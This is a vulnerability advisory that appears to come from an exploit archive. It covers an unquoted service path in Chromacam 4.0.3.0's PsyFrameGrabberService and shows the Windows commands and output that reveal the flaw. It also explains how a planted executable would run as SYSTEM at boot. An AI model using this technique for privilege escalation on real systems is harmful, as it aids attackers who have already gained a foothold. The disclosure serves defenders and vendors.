Chromacam 4.0.3.0 Unquoted Service Path

`# Exploit Title: Chromacam 4.0.3.0 - PsyFrameGrabberService Unquoted Service Path   
# Exploit Author: Laguin Benjamin (MONK-MODE)  
# Discovery Date: 2023-19-01  
# Vendor Homepage: https://personifyinc.com/  
# Software Link: https://personifyinc.com/download/chromacam  
# Tested Version: Chromacam-4.0.3.0  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Microsoft Windows 10 x64  
# CVE: In progress  
  
# Step to discover Unquoted Service Path:  
  
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"  
|findstr /i /v "c:\windows\\" |findstr /i /v """  
  
Personify Frame Transformer PsyFrameGrabberService C:\Program Files  
(x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe Auto  
  
C:\>sc qc "PsyFrameGrabberService"  
[SC] QueryServiceConfig réussite(s)  
  
SERVICE_NAME: PsyFrameGrabberService  
TYPE : 110 WIN32_OWN_PROCESS (interactive)  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files  
(x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Personify Frame Transformer  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
C:\>systeminfo  
  
Host Name: DESKTOP-1000  
OS Name: Microsoft Windows 10 Professionnel  
OS Version: 10.0.19044 N/A build 19044  
  
# Exploit  
If an attacker had already compromised the system and the current user has  
the privileges to write in the : C:\Program Files (x86)\ "C:\Program Files  
(x86)\Personify" "C:\Program Files (x86)\Personify\ChromaCam" "C:\Program  
Files (x86)\Personify\ChromaCam\64" folder or in "C:\" , he could place his  
own "Program.exe" or "PsyFrameGrabberService.exe" files respectively, and  
when the service starts, it would launch the malicious file, rather than  
the original "PsyFrameGrabberService.exe".  
The service starts automatically at bood and runs in system  
  
`